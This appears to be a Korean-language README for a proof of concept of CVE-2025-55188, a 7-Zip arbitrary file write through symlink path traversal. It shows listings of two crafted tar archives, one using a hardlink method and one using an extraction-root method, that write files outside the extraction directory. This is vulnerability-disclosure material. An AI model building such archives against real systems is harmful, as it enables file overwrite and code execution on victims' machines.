
CVE-2025-55188의 개념 증명: 7-Zip 임의 파일 쓰기
CVE-2025-55188(7-Zip의 임의 파일 쓰기 취약점)에 대한 개념 증명(PoC)입니다. 2025년 8월 3일에 출시된 버전 25.01에서 패치되었습니다.
참고: CVE-2025-55188은 CVE-2025-11001과 다릅니다.
CVE-2025-11001이 패치된 버전(25.00)은 CVE-2025-55188로 인한 심볼릭 링크 공격을 통한 임의 코드 실행에 여전히 취약합니다.
CVE-2025-55188은 CVE-2025-11001이 공개되기 이전에 발견되어 공개되었습니다.
자세한 설명과 분석은 https://lunbun.dev/blog/cve-2025-55188/ 을 참조하십시오.
이 취약점은 비교적 단순합니다.
경로 탐색은 심볼릭 링크를 통해 수행되어 파일을 임의로 쓸 수 있습니다. 여기서 더 나아가 임의 파일 쓰기를 통해 중요 파일에 기록함으로써 임의 코드 실행으로 권한을 상승시킬 수 있습니다.
심볼릭 링크 경로 탐색은 심볼릭 링크 안전성 검사의 예외적인 경우(edge case)로 인해 가능합니다. 이를 수행하는 두 가지 방법을 발견했습니다. 자세한 내용은 블로그 게시물을 참조하십시오.
다음 .tar 파일은 추출 시 ../a/b/file.txt에 기록됩니다.
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/link -> ../a/b
hrwxr-xr-x 0/0 0 1969-12-31 16:00 link link to a/link
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_hardlink에는 하드링크 방법을 사용하는 코드가 포함되어 있습니다.
다음 .tar 파일은 추출 시 ../file.txt에 기록됩니다(Linux에서만).
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/b/link -> /a
lrw-r--r-- 0/0 0 1969-12-31 16:00 link -> a/b/link/../../
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_extraction_root에는 추출 루트 방법을 사용하는 코드가 포함되어 있습니다.